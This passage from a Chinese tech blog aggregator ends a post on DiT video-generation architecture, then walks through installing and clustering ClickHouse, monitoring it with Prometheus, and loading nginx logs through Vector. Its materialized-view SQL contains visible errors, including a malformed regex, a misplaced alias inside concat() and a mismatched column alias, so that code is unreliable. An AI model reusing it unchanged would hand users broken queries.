上面大部分模型,包括可控性的扩展模型,核心底层都是基于经典的 UNet 架构,但 Sora 出来后,业界公认 DiT 架构才是未来,毕竟效果太碾压了,最近可灵 / Luma 的出现也印证了这点。架构范式转移到 DiT 后,原先在 UNet 上做的各种可控雕花,看起来基本上是没法迁移到 DiT 架构的,一切得重来。

DiT 架构开源的只见到去年11月 sora 出来之前的 Latte,研究性比较多,效果一般。其他靠谱的开源模型还没见到,毕竟 Sora 还没见影,可灵luma 也刚出。(DiT架构的图片生成就有一些,比如腾讯混元

20

DiT的架构图,与 LLM 的架构同源,核心是 transformer 模块,跟基于 UNet 的模型都不一样,我们尝试来看看在这个架构下视频生成的推理过程:

  1. 初始化一个噪声视频。
  2. 视频会先转换成潜空间的表示,后续的运算都在潜空间里运算,这点跟 Stable Diffusion 一类的扩展模型一致,视频应该是使用 VQ-VAE 进行编码到潜空间。
  3. 视频的表示会被分割成一个个 patch 块,每个 patch 块是一个 token,patch == token。
  4. 这些代表整个视频的 patch 块集合,一起进入 DiT Block。这个 DiT Block 就是个类 transformer 模块,与 LLM 一样核心也是多头注意力,在这里会计算每个 token 之间的注意力,加上引导词和步数条件,做相应计算。
  5. 按 LLM 模型的套路,这里 N 个 DiT Block 跑完,整个流程跑完,输出会是预测的下一个 token。但我理解这里的输出并不是下一个 token(一个 token 只是一个 patch),而是这里的 patch 合集经过这些 DiT Block 的注意力运算和条件引导,变换成离最终视频更近的一个表示,也就是对这里的噪声视频做了一次降噪。
  6. 如果是20次降噪,重复20次这个过程,一个纯噪声视频生成最终清晰的视频。
  7. 如果要垫图,首帧图尾帧图,只需要让图片跟输入的纯噪声视频做一些结合就可以。

可以看到跟其他的 UNet 为核心的架构有本质差别,像 ControlNet 各种可控性的研究没法迁移,需要另外找控制路径。从业界在这领域卷的程度看,预期发展还是会非常快,等下一个 DiT 架构的靠谱视频生成模型开源,也应该很快会有人在上面把相关可控能力不断研究补齐了。

感想

这个领域给我感受是模型超多,看不完跟不上,只能先了解个大概,在有具体应用场景时,再根据需求做相应深入的调研。

为什么这么多模型?看起来它训练的资源门槛没那么高(比 LLM 低),有公开训练数据集(WebVid 和 LAION),论文上都会把方法给出,width=甚至模型和代码也开源,各研究者很容易从中吸收学习做改进,再造一个模型,现在也没出现一个效果通用秒杀一切的模型,所以三天两头出个新模型是常态。

DiT 架构后,视频生成和视频编辑这些模型大概率要淘汰,而人像视频可能在较长一段时间内仍有应用空间,如果要做 AI 视频短片,人物表情动作精细控制挺重要,DiT 架构目前还没看到有能做到精细控制的技术,基于 Unet 的通用视频生成模型这么长时间也没法做好这块的可控性,可能一段时间内还得靠原有技术做这里的可控后编辑。

by bang at July 21, 2024 03:34 PM

July 16, 2024

51niux

ClickHouse安装及简单使用(一)

ClickHouse是近年来备受关注的开源列式数据库,主要用于数据分析(OLAP)领域,很多大厂都在使用,网上介绍的文章一搜有很多就不过介绍了。

官网:https://clickhouse.com/

官网文档:https://clickhouse.com/docs/en/architecture/introduction

一、ClickHouse单机安装

# grep -q sse4_2 /proc/cpuinfo && echo "SSE 4.2 supported" || echo "SSE 4.2 not supported"  #检查当前CPU是否支持SSE 4.2的命令

SSE 4.2 supported

1.1 yum安装

#yum install -y yum-utils

#yum-config-manager --add-repo https://packages.clickhouse.com/rpm/clickhouse.repo

#yum install -y clickhouse-server clickhouse-client

#/etc/init.d/clickhouse-server start

1.2 rpm安装

#wget https://packages.clickhouse.com/rpm/stable/clickhouse-client-24.6.2.17.x86_64.rpm

#wget https://packages.clickhouse.com/rpm/stable/clickhouse-common-static-24.6.2.17.x86_64.rpm

#wget https://packages.clickhouse.com/rpm/stable/clickhouse-common-static-dbg-24.6.2.17.x86_64.rpm

#wget https://packages.clickhouse.com/rpm/stable/clickhouse-server-24.6.2.17.x86_64.rpm

#rpm -ivh clickhouse-common-static-24.6.2.17.x86_64.rpm 

#rpm -ivh clickhouse-common-static-dbg-24.6.2.17.x86_64.rpm

#rpm -ivh clickhouse-server-24.6.2.17.x86_64.rpm

#rpm -ivh clickhouse-client-24.6.2.17.x86_64.rpm 

#/etc/init.d/clickhouse-server start

1.3 Tgz安装

如果你的操作系统不支持安装deb或rpm包,建议使用官方预编译的tgz软件包。所需的版本可以通过curl或wget从存储库https://packages.clickhouse.com/tgz/下载。

下载后解压缩下载资源文件并使用安装脚本进行安装。以下是一个最新稳定版本的安装示例:

LATEST_VERSION=$(curl -s https://packages.clickhouse.com/tgz/stable/ | \
    grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort -V -r | head -n 1)
export LATEST_VERSION

case $(uname -m) in
  x86_64) ARCH=amd64 ;;
  aarch64) ARCH=arm64 ;;
  *) echo "Unknown architecture $(uname -m)"; exit 1 ;;
esac

for PKG in clickhouse-common-static clickhouse-common-static-dbg clickhouse-server clickhouse-client
do
  curl -fO "https://packages.clickhouse.com/tgz/stable/$PKG-$LATEST_VERSION-${ARCH}.tgz" \
    || curl -fO "https://packages.clickhouse.com/tgz/stable/$PKG-$LATEST_VERSION.tgz"
done
tar -xzvf "clickhouse-common-static-$LATEST_VERSION-${ARCH}.tgz" \
  || tar -xzvf "clickhouse-common-static-$LATEST_VERSION.tgz"
sudo "clickhouse-common-static-$LATEST_VERSION/install/doinst.sh"

tar -xzvf "clickhouse-common-static-dbg-$LATEST_VERSION-${ARCH}.tgz" \
  || tar -xzvf "clickhouse-common-static-dbg-$LATEST_VERSION.tgz"
sudo "clickhouse-common-static-dbg-$LATEST_VERSION/install/doinst.sh"

tar -xzvf "clickhouse-server-$LATEST_VERSION-${ARCH}.tgz" \
  || tar -xzvf "clickhouse-server-$LATEST_VERSION.tgz"
sudo "clickhouse-server-$LATEST_VERSION/install/doinst.sh" configure
sudo /etc/init.d/clickhouse-server start

tar -xzvf "clickhouse-client-$LATEST_VERSION-${ARCH}.tgz" \
  || tar -xzvf "clickhouse-client-$LATEST_VERSION.tgz"
sudo "clickhouse-client-$LATEST_VERSION/install/doinst.sh"

对于生产环境,建议使用最新的stable版本。你可以在GitHub页面https://github.com/ClickHouse/ClickHouse/tags找到它,它以后缀`-stable`标志。

二、跟着官网学习一些Deploying的知识

2.1 Terminology(术语)

Replica(副本)

数据副本。ClickHouse始终至少有一个数据副本,因此副本的最小数量为一个。这是一个重要的细节,你可能不习惯将数据的原始副本视为副本,但这是ClickHouse代码和文档中使用的术语。添加数据的第二个副本可以提供容错性。

Shard(分片)

数据的子集。ClickHouse总是至少有一个数据分片,所以如果你不在多个服务器上分割数据,你的数据将存储在一个分片中。如果你超过了单个服务器的容量,则可以使用跨多个服务器的分片数据来分担负载。目标服务器由分片键决定,并在创建分布式表时定义。分片键可以是随机的,也可以作为哈希函数的输出。涉及分片的部署示例将使用rand()作为分片键,并将提供有关何时以及如何选择不同分片键的进一步信息。

Distributed coordination(分布式协调)

ClickHouse Keeper为数据复制和分布式DDL查询的执行提供了协调系统。ClickHouse Keeper与Apache ZooKeeper兼容。

2.2 Scaling out(扩展)

此示例架构旨在提供可扩展性。它包括三个节点:两个组合的ClickHouse+协调(ClickHouse Keeper)服务器,以及一个只有ClickHouse Keeper的第三个服务器以完成三个指定ClickHouse Keeper节点数的仲裁。在本例中,我们将创建一个数据库、一个表和一个分布式表,它们将能够查询两个节点上的数据。

Environment(环境)

Architecture Diagram(架构图)

image.png

在生产环境中,官方是强烈建议ClickHouse Keeper在专用主机上运行。

Editing configuration files(编辑配置文件)

最佳实践,通过添加或编辑配置文件配置ClickHouse Server时,你应该:

将文件添加到/etc/clickhouse服务器/config.d/目录
将文件添加到/etc/clickhouse服务器/users.d/目录
保持/etc/clickhouse服务器/config.xml文件不变
保持/etc/clickhouse server/users.xml文件不变

chnode1 configuration

对于chnode1,有五个配置文件。可以选择将这些文件合并为一个文件,但为了文档的清晰性,单独查看它们可能更简单。当你阅读配置文件时,你会发现chnode1和chnode2之间的大部分配置都是相同的;差异将被突出显示。

Network and logging configuration(网络和日志配置)

#所有的参数配置说明:https://clickhouse.com/docs/en/operations/server-configuration-parameters/settings

这些值可以根据需要进行自定义。此示例配置为您提供了一个调试日志,该日志将以1000M的大小切割滚动三次。ClickHouse将在端口8123和9000上监听IPv4网络,并将使用端口9009进行服务器间通信。network-and-logging.xml on chnode1

<clickhouse>
   <logger>
     <!--日志级别,none(关闭输出)/fatal(致命)/critical(关键)/error/warning/notice(通知)/information/debug/trace/test(不用于生产)--> 
     <level>debug</level>
     <log>/var/log/clickhouse-server/clickhouse-server.log</log>
     <errorlog>/var/log/clickhouse-server/clickhouse-server.err.log</errorlog>
     <size>1000M</size>
     <count>3</count>
   </logger>
   <!--这个名称将显示在clickhouse-client中。默认情况下,任何带有"production"的内容都将在查询提示符中以红色突出显示。-->
   <display_name>clickhouse</display_name>
   <listen_host>0.0.0.0</listen_host>
   <!--HTTP API的端口。这个接口也被ODBC和JDBC驱动程序(DataGrip, Dbeaver,…)使用。以及大多数web界面(嵌入式UI、Grafana、Redash等)。-->
   <http_port>8123</http_port>
   <!--通过本机协议与以下设备进行交互的端口:clickhouse-client/clickhouse-server/ClickHouse驱动程序和支持本机协议的应用程序 -->
   <tcp_port>9000</tcp_port>
   <!--副本之间通信的端口。用于数据交换。它提供服务器之间的 low-level数据访问。此端口不应从不受信任的网络访问。-->
   <interserver_http_port>9009</interserver_http_port>
</clickhouse>

ClickHouse Keeper configuration(ClickHouse Keeper得配置

      ClickHouse Keeper为数据复制和分布式DDL查询执行提供了协调系统。ClickHouse Keeper与Apache ZooKeeper兼容。此配置在端口9181上启用ClickHouse Keeper。突出显示的行指定此Keeper实例的server_id为1。这是三台服务器上enable-keeper.xml文件的唯一区别。chnode2的server_id将设置为2,chnode3的server_id设置为3。raft配置部分在所有三台服务器上都是相同的,下面突出显示的是raft配置中server_id和服务器实例之间的关系。

     如果出于任何原因替换或重建了Keeper节点,请不要重用现有的server_id。例如,如果重建了server_id为2的Keeper节点,则将其设置为server_id为4或更高。enable-keeper.xml on chnode1

#文件中的配置含义在:https://clickhouse.com/docs/en/guides/sre/keeper/clickhouse-keeper#keeper-configuration-settings

<clickhouse>
  <keeper_server>
    <!--客户端连接的端口--> 
    <tcp_port>9181</tcp_port>
    <!--唯一的服务器id, ClickHouse Keeper集群的每个参与者必须有一个唯一的数字(1、2、3,等等)。-->
    <server_id>1</server_id>
    <!--协调日志的路径,就像ZooKeeper一样,最好将日志存储在非繁忙节点上。-->
    <log_storage_path>/var/lib/clickhouse/coordination/log</log_storage_path>
    <!--coordination快照的路径-->
    <snapshot_storage_path>/var/lib/clickhouse/coordination/snapshots</snapshot_storage_path>

    <coordination_settings>
        <!--单个客户端操作的超时时间(ms),默认值是10000-->
        <operation_timeout_ms>10000</operation_timeout_ms>
        <!--客户端会话最小超时时间(ms),默认值是10000-->
        <session_timeout_ms>30000</session_timeout_ms>
        <!--coordination的文本日志级别-->
        <raft_logs_level>trace</raft_logs_level>
    </coordination_settings>

    <raft_configuration>
        <server>
            <!--仲裁中的服务器标识符。-->
            <id>1</id>
            <!--服务器所在的主机名-->
            <hostname>chnode1</hostname>
            <!--此服务器侦听连接的端口-->
            <port>9234</port>
        </server>
        <server>
            <id>2</id>
            <hostname>chnode2</hostname>
            <port>9234</port>
        </server>
        <server>
            <id>3</id>
            <hostname>chnode3</hostname>
            <port>9234</port>
        </server>
    </raft_configuration>
  </keeper_server>
</clickhouse>

Macros configuration(宏配置)

       宏分片和副本降低了分布式DDL的复杂性。配置的值会在DDL查询中自动替换,从而简化DDL。此配置的宏指定了每个节点的分片和副本编号。在这个2分片1副本的示例中,由于只有一个副本,因此副本宏在chnode1和chnode2上都是replica_1。分片宏在chnode1上为1,在chnode2上为2。

macros.xml on chnode1

<clickhouse>
  <macros>
    <shard>1</shard>
    <replica>replica_1</replica>
  </macros>
</clickhouse>

Replication and sharding configuration(副本和分配配置)

从上面开始:

      XML的remote_servers部分指定了环境中的每个集群。replace=true属性将默认ClickHouse配置中的示例remote_servers替换为此文件中指定的remote_server配置。如果没有此属性,默认情况下,此文件中的远程服务器将附加到示例列表中。

      在这个例子中,有一个名为cluster_2S_1R的集群。

      为名为cluster_2S_1R的集群创建一个secret,其值为mysecretphrase。secret在环境中的所有远程服务器之间共享,以确保将正确的服务器连接在一起。

      集群cluster_2S_1R有两个分片,每个分片有一个副本。看一下本文开头的架构图,并将其与下面XML中的两个分片定义进行比较。在每个分片定义中都有一个副本。副本是针对该特定分片的。指定该副本的主机和端口。配置中第一个分片的副本存储在chnode1上,第二个分片的副本存储在chnode2上。

      将分片的内部复制设置为true。每个shard都可以在配置文件中定义internal_replication参数。如果该参数设置为true,则写操作将选择第一个健康副本并向其写入数据。remote-servers.xml on chnode1

<clickhouse>
  <remote_servers replace="true">
    <cluster_2S_1R>
    <secret>mysecretphrase</secret>
        <shard>
            <!--可选的。是否只向其中一个副本写入数据。默认值:false(向所有副本写入数据)。--> 
            <internal_replication>true</internal_replication>
            <replica>
                <host>chnode1</host>
                <port>9000</port>
            </replica>
        </shard>
        <shard>
            <internal_replication>true</internal_replication>
            <replica>
                <host>chnode2</host>
                <port>9000</port>
            </replica>
        </shard>
    </cluster_2S_1R>
  </remote_servers>
</clickhouse>

Configuring the use of Keeper(配置Keeper的使用)

上面配置了几个文件ClickHouse Keeper。此配置文件use-keeper.xml正在将ClickHouse Server配置为使用ClickHouse keeper来协调复制和分布式DDL。此文件指定ClickHouse服务器应在端口9181上的节点chnode1-3上使用Keeper,并且chnode1和chnode2上的文件相同。use-keeper.xml on chnode1

<clickhouse>
    <zookeeper>
        <node index="1">
            <host>chnode1</host>
            <port>9181</port>
        </node>
        <node index="2">
            <host>chnode2</host>
            <port>9181</port>
        </node>
        <node index="3">
            <host>chnode3</host>
            <port>9181</port>
        </node>
    </zookeeper>
</clickhouse>

chnode2 configuration

network-and-logging.xml on chnode2(无变化)

enable-keeper.xml on chnode2   #只记录变化的地方

    <server_id>2</server_id>

macros.xml on chnode2 #只记录变化的地方

    <shard>2</shard>

remote-servers.xml on chnode2  #无变化

use-keeper.xml on chnode2  #无变化

chnode3 configuration

由于chnode3不存储数据,仅用于ClickHouse Keeper提供仲裁中的第三个节点,所以安装的软件和配置文件也有所不同:

#yum install clickhouse-keeper -y

# vim /etc/clickhouse-keeper/keeper_config.xml

<clickhouse>
    <logger>
        <level>error</level>
        <log>/var/log/clickhouse-keeper/clickhouse-keeper.log</log>
        <errorlog>/var/log/clickhouse-keeper/clickhouse-keeper.err.log</errorlog>
        <size>1000M</size>
        <count>3</count>
    </logger>
    <listen_host>0.0.0.0</listen_host>
    <keeper_server>
        <tcp_port>9181</tcp_port>
        <server_id>3</server_id>
        <log_storage_path>/var/lib/clickhouse/coordination/log</log_storage_path>
        <snapshot_storage_path>/var/lib/clickhouse/coordination/snapshots</snapshot_storage_path>
        <coordination_settings>
            <operation_timeout_ms>10000</operation_timeout_ms>
            <session_timeout_ms>30000</session_timeout_ms>
            <raft_logs_level>trace</raft_logs_level>
        </coordination_settings>
        <raft_configuration>
            <server>
                <id>1</id>
                <hostname>192.168.1.164</hostname>
                <port>9234</port>
            </server>
            <server>
                <id>2</id>
                <hostname>192.168.1.165</hostname>
                <port>9234</port>
            </server>
            <server>
                <id>3</id>
                <hostname>192.168.1.166</hostname>
                <port>9234</port>
            </server>
        </raft_configuration>
    </keeper_server>
</clickhouse>

# mkdir /var/lib/clickhouse-keeper && chown  clickhouse:clickhouse  /var/lib/clickhouse-keeper  

# systemctl restart clickhouse-keeper 

# ps aux|grep click

/usr/bin/clickhouse-keeper --config=/etc/clickhouse-keeper/keeper_config.xml --pid-file=/run/clickhouse-keeper/clickhouse-keeper.pid

# netstat -lntup|grep click

tcp        0      0 0.0.0.0:9181            0.0.0.0:*               LISTEN      29561/clickhouse-ke 
tcp6       0      0 :::9234                 :::*                    LISTEN      29561/clickhouse-ke

测试:

#按照上面在1/2台机器上面配置一下,我这里直接用的IP省的配置hosts了,执行一下:/etc/init.d/clickhouse-server restart  就可以关注三台服务器的进程是否启动了。

#特别注意,clickhouse-server的启动出错提示比较少,如果你的服务一直等待启动Waiting for server to start可以看看配置文件和指定的目录是不是clickhouse用户授权,或者配置文件肯定是有改动错误的地方,如果觉得日志刷的太狠了,可以把日志级别调一下

#每个机器都可以执行一下#  echo mntr | nc 127.0.0.1 9181  可以看zk_server_state这个字段会显示leader还是follower

# ps -aux|grep clickhouse  #先看下进程image.png

# netstat -lntup|grep clickhouse|sort -k 3  #再查看下监听端口

image.png

1.连接到chnode1并验证上面配置的集群cluster_2S_1R是否存在

# clickhouse-client   #默认是没有密码的,默认只有default用户,可以在users.xml这里为这个用户设置密码,比如<password>123456</password>

image.png

2.在集群上创建数据库

CREATE DATABASE db1 ON CLUSTER cluster_2S_1R;

3.在集群上使用MergeTree表引擎创建表

#我们不需要在表引擎上指定参数,因为这些参数将根据我们的宏自动定义

CREATE TABLE db1.table1 ON CLUSTER cluster_2S_1R
(
    `id` UInt64,
    `column1` String
)
ENGINE = MergeTree
ORDER BY id

4.连接到chnode1并插入一行

INSERT INTO db1.table1 (id, column1) VALUES (1, 'abc');

5.连接到chnode2并插入一行

INSERT INTO db1.table1 (id, column1) VALUES (2, 'def');

6.连接到任一节点chnode1或chnode2,将只看到该节点上插入该表的行。例如,在chnode2上什么都查不到,因为是在chnode1上面做的操作

SELECT * FROM db1.table1;

7.创建一个分布式表来查询两个节点上的两个分片。(在本例中,rand()函数被设置为分片键,因此它随机分配每次插入)

CREATE TABLE db1.table1_dist ON CLUSTER cluster_2S_1R
(
    `id` UInt64,
    `column1` String
)
ENGINE = Distributed('cluster_2S_1R', 'db1', 'table1', rand())

#为什么先创建本地表再创建分布式表?

Clickhouse是分布式系统,先在每个Shard 每个节点上创建本地表(即 Shard 的副本),本地表只在对应节点内可见;然后再创建分布式表[Distributed],映射到前面创建的本地表。用户在访问分布式表时,ClickHouse 会自动根据集群架构信息,把请求转发给对应的本地表。

8.连接到chnode1或chnode2,查询分布式表以查看插入的数据,两个节点查看到的数据是一致的了。

 SELECT * FROM db1.table1_dist;

image.png

博文来自:www.51niux.com

2.3 Replication for fault tolerance(容错复制)

在此架构中,配置了五台服务器。两个用于托管数据副本。其他三台服务器用于协调数据的复制。通过这个例子,我们将创建一个数据库和表,使用ReplicatedMergeTree表引擎在两个数据节点之间复制。

image.png

clickhouse-01 configuration

# vim /etc/clickhouse-server/config.d/network-and-logging.xml

<clickhouse>
    <logger>
        <level>debug</level>
        <log>/var/log/clickhouse-server/clickhouse-server.log</log>
        <errorlog>/var/log/clickhouse-server/clickhouse-server.err.log</errorlog>
        <size>1000M</size>
        <count>3</count>
    </logger>
    <!--连接clickhouse-client时显示的名称为cluster_1S_2R node 1-->
    <display_name>cluster_1S_2R node 1</display_name>
    <listen_host>0.0.0.0</listen_host>
    <http_port>8123</http_port>
    <tcp_port>9000</tcp_port>
</clickhouse>

# vim /etc/clickhouse-server/config.d/macros.xml

macros shard and replica降低了分布式DDL的复杂性。配置的值会在DDL查询中自动替换,从而简化DDL。此配置的宏指定了每个节点的分片和副本编号。

在这个1分片2副本的示例中,replica macro在clickhouse-01上是replica_1,在clickhouse-02上是replica _2。在clickhouse-01和clickhouse-02上,shard macro都是1,因为只有一个分片。

<clickhouse>
    <macros>
        <shard>01</shard>
        <replica>01</replica>
        <cluster>cluster_1S_2R</cluster>
    </macros>
</clickhouse>

# vim /etc/clickhouse-server/config.d/remote-servers.xml

<clickhouse>
    <remote_servers replace="true">
        <cluster_1S_2R>
            <secret>mysecretphrase</secret>
            <shard>
                <internal_replication>true</internal_replication>
                <replica>
                    <host>192.168.1.164</host>
                    <port>9000</port>
                </replica>
                <replica>
                    <host>192.168.1.165</host>
                    <port>9000</port>
                </replica>
            </shard>
        </cluster_1S_2R>
    </remote_servers>
</clickhouse>

# vim /etc/clickhouse-server/config.d/use-keeper.xml   #指定使用哪三台clickhouse-keeper节点

<clickhouse>
    <zookeeper>
        <!-- where are the ZK nodes -->
        <node>
            <host>192.168.1.166</host>
            <port>9181</port>
        </node>
        <node>
            <host>192.168.1.167</host>
            <port>9181</port>
        </node>
        <node>
            <host>192.168.1.168</host>
            <port>9181</port>
        </node>
    </zookeeper>
</clickhouse>

clickhouse-02 configuration

#只列出差异部分

# vim /etc/clickhouse-server/config.d/network-and-logging.xml

<display_name>cluster_1S_2R node 2</display_name>

# vim /etc/clickhouse-server/config.d/macros.xml

        <replica>02</replica>

clickhouse-keeper-01 configuration

ClickHouse Keeper为数据复制和分布式DDL查询的执行提供了协调系统。ClickHouse Keeper与Apache ZooKeeper兼容。此配置在端口9181上启用ClickHouse Keeper。突出显示的行指定此Keeper实例的server_id为1。这是三个服务器之间enable-keeper.xml文件的唯一不同之处。Clickhouse-keeper-02将有server_id设置为2,clickhouse-keeper-03将有server_id设置为3。

#配置文件/etc/clickhouse-keeper/keeper_config.xml参照前面的配置文件吧就server_id地方node1是1,node2是2,node3是3就行了。

clickhouse-keeper-02 configuration

<server_id>2</server_id>

clickhouse-keeper-03 configuration

<server_id>3</server_id>

测试

使用一个shell中的clickhouse客户端连接到节点clickhouse-01,并使用另一个shell的clickhouse客户机连接到节点clickhouse-02。

1.在上面配置的集群上创建数据库

cluster_1S_2R node 1 :) CREATE DATABASE db2 ON CLUSTER cluster_1S_2R;

2.使用ReplicatedMergeTree表引擎在数据库上创建表

CREATE TABLE db2.table1 ON CLUSTER cluster_1S_2R
(
    `id` UInt64,
    `column1` String
)
ENGINE = ReplicatedMergeTree
ORDER BY id

3.在node1结点上面插入数据,在node2节点上面查询,发现是可以查询到数据的,反之亦然

INSERT INTO db2.table1 (id, column1) VALUES (1, 'abc');
SELECT * FROM db2.table1;

4.现在我们通过命令# /etc/init.d/clickhouse-server stop  把node1节点停掉,然后在node2上面执行命令插入一条数据,然后再查看一下会发现三条数据都是在的

cluster_1S_2R node 2 :) INSERT INTO db2.table1 (id, column1) VALUES (3, 'ghi');
cluster_1S_2R node 2 :) SELECT * FROM db2.table1;

5.将停掉的node1启动起来# /etc/init.d/clickhouse-server start,然后在上面查询一下,会发现数据也是全的,因为每个Node节点都是全量数据:

cluster_1S_2R node 1 :) SELECT * FROM db2.table1;

image.png

2.4 Sizing and Hardware Recommendations(规模和硬件建议)

详细的看:https://clickhouse.com/docs/en/guides/sizing-and-hardware-recommendations
这里就列下内存说明:

内存与存储的比率应该是多少?

对于低数据量,1:1的内存与存储比是可以接受的,但总内存不应低于8GB。

对于数据保留期较长或数据量较大的用例,建议采用1:100至1:130的内存与存储比。例如,如果要存储10TB的数据,则每个副本需要100GB的RAM。

对于频繁访问的用例,例如面向客户的工作负载,建议以1:30到1:50的内存与存储比率使用更多内存。

2.5 List of tools and utilities(工具和实用程序列表)

clickhouse-local #允许在不启动ClickHouse服务器的情况下对数据运行SQL查询,类似于awk的做法
clickhouse-benchmark #用自定义查询和设置加载服务
clickhouse-format #支持格式化输入查询
ClickHouse obfuscator #混淆数据
ClickHouse compressor #压缩和解压缩数据
clickhouse-disks #在不同ClickHouse磁盘之间的文件上提供类似文件系统的操作
clickhouse-odbc-bridge #ODBC驱动程序的代理服务器
clickhouse_backupview #分析ClickHouse备份的python模块

三、性能监控

ClickHouse 从 v20.1.2.4 开始,内置了对接 Prometheus 的功能,可以将其作为 Prometheus 的 Endpoint 服务,从而自动的将 metrics、events 和 asynchronous_metrics(主要用于统计服务运行过程的时候,当前正在后台异步运行的信息) 三张系统的表的数据发送给 Prometheus。

cluster_1S_2R node 1 :) select count(*) from system.metrics;
cluster_1S_2R node 1 :) select count(*) from system.events;
cluster_1S_2R node 1 :) select count(*) from system.asynchronous_metrics;

3.1 ClickHouse开启内置的endpoint功能

# vim /etc/clickhouse-server/config.xml   #将关于prometheus的注释部分去掉并重启服务

    <prometheus>
        <endpoint>/metrics</endpoint>
        <port>9363</port>

        <metrics>true</metrics>
        <events>true</events>
        <asynchronous_metrics>true</asynchronous_metrics>
    </prometheus>

#curl 127.0.0.1:9363/metrics |more   #可以查看一下都有哪些指标,不过指标太多了不到2000个所以加了个more,后面可以只保留一些需要的指标

3.2 prometheus配置采集

# vim /opt/soft/prometheus/prometheus.yml  #新增job_name,并重新加载

    - job_name: 'clickhouse'
      static_configs:
        - targets: ['192.168.1.164:9363','192.168.1.165:9363']

3.3 grafana出图展示

#去官网上面找一个模版下载下来,以prometheus为数据源自己修改修改

image.png

博文来自:www.51niux.com

4、日志采集

clickhouse集群部署起来了,我们得往里面写入些数据啊,比如我们把nginx的日志存储进去进行分析。这里使用Vector+ClickHouse来采集Nginx日志并做清洗,最终插入到clickhouse存储起来。Vector 是一个用于构建数据传输 pipeline 的工具。它开箱即用支持 ClickHouse。使用 Vector Remap Language (VRL) 可以对日志进行清洗,把非结构化的数据清洗成结构化数据。

官网文档:https://vector.dev/docs/

4.1 Vector 安装

#wget https://packages.timber.io/vector/0.39.0/vector-0.39.0-x86_64-unknown-linux-gnu.tar.gz

#tar xf vector-0.39.0-x86_64-unknown-linux-gnu.tar.gz

#cp -rf /opt/soft/package/vector-x86_64-unknown-linux-gnu /opt/soft/vector
# cd /opt/soft/vector/

./bin/vector --version   #执行下命令看看会不会报错

vector 0.39.0 (x86_64-unknown-linux-gnu......)

我们先看下我们当前的nginx日志格式:

    log_format  main  '$http_host $remote_addr - $remote_user $time_iso8601 '
                      '$scheme "$request" $status $bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for" "$gzip_ratio" $request_time '
                      '$upstream_addr $upstream_status $upstream_response_time';

我们先什么都不做处理,先把nginx的日志采集一下

#然后需要先在clickhouse上面创建对应的数据库和表:

cluster_1S_2R node 1 :) CREATE DATABASE nginxdb  ON CLUSTER cluster_1S_2R;
cluster_1S_2R node 1 :) CREATE TABLE nginxdb.access_logs ON CLUSTER cluster_1S_2R (message String) ENGINE = MergeTree() ORDER BY tuple();

然后配置nginx上面的vector的配置文件进行日志采集:

# cat /opt/soft/vector/config/test/nginx.yaml   #先不做任何过滤,先把日志采集一下

data_dir: "/var/log/vector"
sources:
  nginx_logs:
    type: "file"
    include: [ "/opt/log/nginx/app.test.cn/app.test.cn_access.log" ]
    read_from: "end"

sinks:
  clickhouse:
    type: "clickhouse"
    inputs: ["nginx_logs"]
    endpoint: "http://192.168.1.164:8123"
    database: "nginxdb"
    table: "access_logs"
    skip_unknown_fields: true
    auth:
      user: default
      password: "123456"
      strategy: basic

4.2 构建物理视图

我们先查看一下采集上来的数据

cluster_1S_2R node 1 :) select * from nginxdb.access_logs limit  2\G

下面是查询结果:

SELECT *
FROM nginxdb.access_logs
LIMIT 2

Query id: e67245bf-2509-4623-840f-45fc0a0c4b72

Row 1:
──────
message: app.test.cn 123.199.53.68 - - 2024-05-26T11:13:28+08:00 http "POST /app/uplog/ HTTP/1.1" 200 402 "-" "Dalvik/2.1.0 (Linux; U; Android 10; VCE-AL00 Build/HUAWEIVCE-AL00)" "-" "-" 0.014 192.168.1.228:38007 200 0.013

Row 2:
──────
message: app.test.cn 123.199.53.69 - - 2024-05-26T11:14:14+08:00 http "POST /app/uplog/ HTTP/1.1" 200 402 "-" "Dalvik/2.1.0 (Linux; U; Android 10; PBDM00 Build/QKQ1.190918.001)" "-" "-" 0.004 192.168.1.228:38007 200 0.004

2 rows in set. Elapsed: 0.002 sec.

创建物理视图之前记录下数据库大小(先采集了几十条数据vector先停止了):

cluster_1S_2R node 1 :) select database,formatReadableSize(sum(bytes_on_disk)) AS size_on_disk FROM system.parts WHERE active GROUP BY database ORDER BY size_on_disk DESC

image.png

现在开始创建物理视图:

CREATE MATERIALIZED VIEW nginxdb.access_logs_view
(
    HttpHost String, 
    RemoteAddr String,
    Client String,
    RemoteUser String,
    TimeLocal DateTime,
    HttpProtocol String,
    RequestMethod String,
    Request_Url String,
    HttpVersion String,
    Status Int32,
    BytesSent Int64,
    Http_Referer  String,
    UserAgent String,
    Forwarded_For String,
    Gzip_Ratio String,
    Request_Time Float32,
    Upstream_Addr String,
    Upstream_Status String,
    Upstream_Response_Time Float32
)
ENGINE = MergeTree()
ORDER BY RemoteAddr
POPULATE AS
WITH
    splitByWhitespace(message) as split,
    splitByRegexp('\S \d+ "(^"]*)"', message) as referer,
    splitByRegexp('[)]',trim(BOTH '" ' from splitByRegexp('\S \d+ "([^"]*)"', message)[2])) as  referer2,
    splitByWhitespace(splitByRegexp('[)]',message)[2]) as  referer3
SELECT
    split[1] AS HttpHost,
    split[2] AS RemoteAddr,
    split[3] AS Client,
    split[4] AS RemoteUser,
    parseDateTimeBestEffort(split[5]) AS TimeLocal,
    trim(LEADING '"' FROM split[6]) AS HttpProtocol,
    split[7] AS RequestMethod,
    split[8] AS Request_Url,
    split[9] AS HttpVersion,
    split[10] AS Status,
    split[11] AS BytesSent,
    split[12] AS Http_Refere,
    concat(referer2[1] AS UserAgent,')'),
    referer3[2] AS Forwarded_For,
    referer3[3] AS Gzip_Ratio,
    toFloat32OrZero(referer3[4]) AS Request_Time, 
    referer3[5] AS Upstream_Addr,    
    referer3[6] AS Upstream_Status,    
    toFloat32OrZero(referer3[7]) AS Upstream_Response_Time
FROM
    (SELECT message FROM nginxdb.access_logs)

#我们再查看一下创建完物理视图后数据库的大小

image.png

博文来自:www.51niux.com

#所以可以看出,ClickHouse 中物化视图(Materialized View)是一种预先计算并缓存结果的视图,它存储在磁盘上并自动更新,典型的空间换时间思路。物化视图是一种优化技术,它可以加速查询操作,降低系统负载,并提高查询性能。

#上面的sql语句为什么要是toFloat32OrZero而不是toFloat32呢?是因为如果user_agent并不是所有的都是()包起来的,还有其他形式,那么你的取值就会不完整就会导致后面得数都取不出来了,string格式倒是没事大不了就空嘛,但是这种浮点数的就会报错,下面看看不同效果的展示

Row 5:
-------------
